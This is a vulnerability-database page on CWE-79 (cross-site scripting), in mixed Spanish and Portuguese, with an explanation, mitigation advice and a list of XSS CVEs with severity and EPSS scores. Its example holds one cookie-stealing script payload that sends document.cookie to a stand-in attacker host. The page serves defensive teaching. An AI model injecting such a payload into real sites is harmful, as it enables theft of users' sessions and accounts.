Fallos del tipo CWE-79

28.519 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-26692MEDIUMZCBS Zijper Collectie Beheer Systeem (ZCBS), Zijper Publication Management System (ZPBS), and Zijper Image Bank Management System (ZBBS) 4.1EPSS 2.7%CVE-2022-42094MEDIUMBackdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the 'Card' content.EPSS 2.7%CVE-2021-42551MEDIUMReflected XSS in NetBiblio WebOPAC search functionalityEPSS 2.7%CVE-2021-32797HIGHJupyterLab: XSS due to lack of sanitization of the action attribute of an html <form>EPSS 2.7%CVE-2018-25080LOWMobileDetect Example session_example.php initLayoutType cross site scriptingEPSS 2.7%CVE-2022-2846MEDIUMCalendar Event Multi View < 1.4.07 - Unauthenticated Arbitrary Event Creation to Stored XSSEPSS 2.6%CVE-2022-31160MEDIUMjQuery UI contains potential XSS vulnerability when refreshing a checkboxradio with an HTML-like initial text labelEPSS 2.6%CVE-2021-34620HIGHCSRF in WP Fluent Forms < 3.6.67 allows stored XSS and Privilege EscalationEPSS 2.6%CVE-2022-25370—Unauth Stored XSS vulnerability in the Birt plugin of Apache OFBizEPSS 2.6%CVE-2022-47877CRITICALA Stored cross-site scripting vulnerability in Jedox 2020.2.5 allows remote, authenticated users to inject arbitrary web script or HTML in tEPSS 2.6%CVE-2023-23286MEDIUMCross Site Scripting (XSS) vulnerability in Provide server 14.4 allows attackers to execute arbitrary code through the server-log via usernaEPSS 2.6%CVE-2018-0403—Multiple vulnerabilities in the web-based management interface of Cisco Unified Contact Center Express (Unified CCX) could allow an unauthenEPSS 2.6%CVE-2023-23075MEDIUMCross Site Scripting (XSS) vulnerability in Zoho Asset Explorer 6.9 via the credential name when creating a new Assets Workstation.EPSS 2.6%CVE-2021-35222HIGHResource.aspx Reflected Cross-Site Scripting VulnerabilityEPSS 2.6%CVE-2021-45229—Apache Airflow: Reflected XSS via Origin Query Argument in URLEPSS 2.6%CVE-2022-0087HIGHCross-site Scripting (XSS) - Reflected in keystonejs/keystoneEPSS 2.6%CVE-2020-27224—In Eclipse Theia versions up to and including 1.2.0, the Markdown Preview (@theia/preview), can be exploited to execute arbitrary code.EPSS 2.6%CVE-2021-24407—Jannah < 5.4.5 - Reflected Cross-Site Scripting (XSS)EPSS 2.6%CVE-2020-36510—15Zine < 3.3.0 - Reflected Cross-Site ScriptingEPSS 2.6%CVE-2019-3826MEDIUMA stored, DOM based, cross-site scripting (XSS) flaw was found in Prometheus before version 2.7.1. An attacker could exploit this by convincEPSS 2.6%